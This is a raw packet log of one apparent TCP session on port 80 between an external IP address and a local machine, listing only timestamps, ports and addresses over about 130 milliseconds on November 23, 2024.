Nov 23, 2024 15:37:30.659576893 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.659626961 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:30.660128117 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.660231113 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.660829067 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.660886049 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:30.660923004 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.661245108 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:30.661576986 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.661664009 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.662225008 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.662281036 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:30.662354946 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.663096905 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.663223028 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.663275003 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:30.663738012 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.663791895 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.664357901 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.664410114 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:30.664489031 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.665055037 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.665067911 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.665124893 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:30.665771961 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.666049957 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.666474104 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.666526079 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:30.666594028 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.667179108 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.667191982 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.667269945 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:30.667831898 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.667897940 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.667994022 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.668066978 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:30.668597937 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.668633938 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.669260025 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:30.669389009 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.669471979 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.670006990 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.670063972 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:30.670105934 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.670696974 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.670877934 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.670944929 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:30.671420097 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.671550035 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.672112942 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.672163010 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:30.672215939 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.672810078 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.672915936 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.672955990 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:30.673540115 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.673638105 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.674261093 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.674312115 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:30.674439907 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.674968004 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.675051928 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.675111055 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:30.675647020 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.675755024 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.676420927 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.676467896 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:30.676490068 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.677067995 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.677160025 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.677208900 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:30.677757978 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.677916050 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.678455114 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.678503990 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:30.678558111 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.679163933 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.679271936 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.679337025 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:30.679862022 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.680042028 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.680577040 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.680628061 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:30.680666924 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.724477053 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.724489927 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.724838018 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.724961042 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.724965096 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:30.725306034 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.725414038 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.726011992 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.726078987 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:30.726114035 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.726731062 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.726805925 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.726875067 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:30.727449894 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.727534056 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.727610111 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:30.728158951 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.728389025 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.728841066 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.728904963 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:30.728914022 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.729548931 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.729804993 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.730243921 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.730304956 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:30.730361938 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.730983973 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.731055021 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:30.731076956 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.731637955 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.731805086 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.731852055 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:30.732357979 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.732494116 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.733225107 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.733263016 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:30.733277082 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:30.733444929 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.733839989 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.733895063 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.733968019 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:30.734458923 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.734580040 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.735213995 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.735276937 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:30.735305071 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.735877037 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.735989094 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.736047029 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:30.736577988 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.736709118 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.737252951 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:30.737593889 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.737718105 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.737983942 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.738032103 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:30.738082886 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.738703012 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.738799095 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.738853931 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:30.739415884 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.739480972 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.740071058 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.740125895 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:30.740180969 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.740817070 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.740910053 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.740967035 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:30.741499901 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.741585970 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.742209911 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.742269993 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:30.742367983 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.742906094 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.743047953 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.743108034 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:30.743624926 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.743731976 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.744318962 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.744380951 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:30.744415998 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.745107889 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.745187044 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.745242119 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:30.745733023 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.745835066 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.746505022 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.746560097 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:30.746609926 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.747152090 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.747307062 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.747363091 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:30.747822046 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.747915983 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.748644114 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.748702049 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:30.748792887 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.749500990 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.749732971 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.750174999 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.750205040 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.750236988 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:30.750684977 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.750855923 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.751341105 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.751400948 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:30.751458883 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.752121925 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.752259016 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.752326012 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:30.752743006 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.752871990 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.753256083 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:30.753449917 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.753509045 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.754156113 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.754204988 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:30.754230976 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.754918098 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.754975080 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:30.755019903 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.755583048 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.755677938 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.755729914 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:30.756300926 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.756417990 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.756984949 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.757042885 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:30.757081032 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.757688046 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.757765055 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.758383989 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.758441925 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:30.758491993 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.759113073 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.759224892 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.759288073 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:30.759835005 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.759951115 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.760495901 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.760552883 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:30.760592937 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.761203051 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.761250973 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:30.761313915 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.761913061 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.761960030 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:30.761995077 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.762661934 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.762742996 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.762794018 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:30.763325930 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.763501883 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.764029980 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.764097929 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:30.764127970 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.764740944 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.764862061 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.764920950 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:30.765429974 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.765551090 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.766129971 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.766192913 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:30.766222954 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.766830921 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.766949892 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.767004967 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:30.767532110 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.767659903 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.768229961 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.768276930 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:30.768337965 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.769095898 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.769196987 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.769263983 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:30.769644976 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.769752026 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.769804955 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:30.770369053 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.770486116 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.771070957 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.771143913 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:30.771192074 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.771761894 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.771879911 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.771938086 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:30.772537947 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.772664070 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.773257971 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:30.773330927 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.773457050 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.773874998 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.773931980 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:30.773974895 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.774583101 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.774646044 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.774699926 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:30.775316954 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.775399923 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.775988102 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.776045084 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:30.776062012 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.776721001 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.776782036 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:30.776844025 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.777441025 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.777609110 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.778167963 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.778234005 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:30.778234959 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.778780937 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.778902054 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.778987885 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:30.779573917 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.779639006 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.780265093 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.780327082 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:30.780364990 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.780915022 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.780997992 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.781066895 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:30.781631947 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.781651974 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.782319069 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.782388926 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:30.782426119 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.783014059 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.783119917 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.783181906 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:30.783735991 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.783834934 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.784425020 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.784487009 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:30.784528017 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.785125971 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.785235882 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.785273075 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:30.785865068 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.785964966 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.786535978 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.786597013 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:30.786634922 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.787231922 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.787308931 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.787364006 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:30.787986994 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.788080931 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.788664103 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.788728952 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:30.788791895 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.789369106 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.789475918 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.790268898 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.790323019 CET	80	49724	185.215.113.16	192.168.2.5
Nov 23, 2024 15:37:30.790332079 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:30.791002035 CET	80	49724	185.215.113.16	192.168.2.5
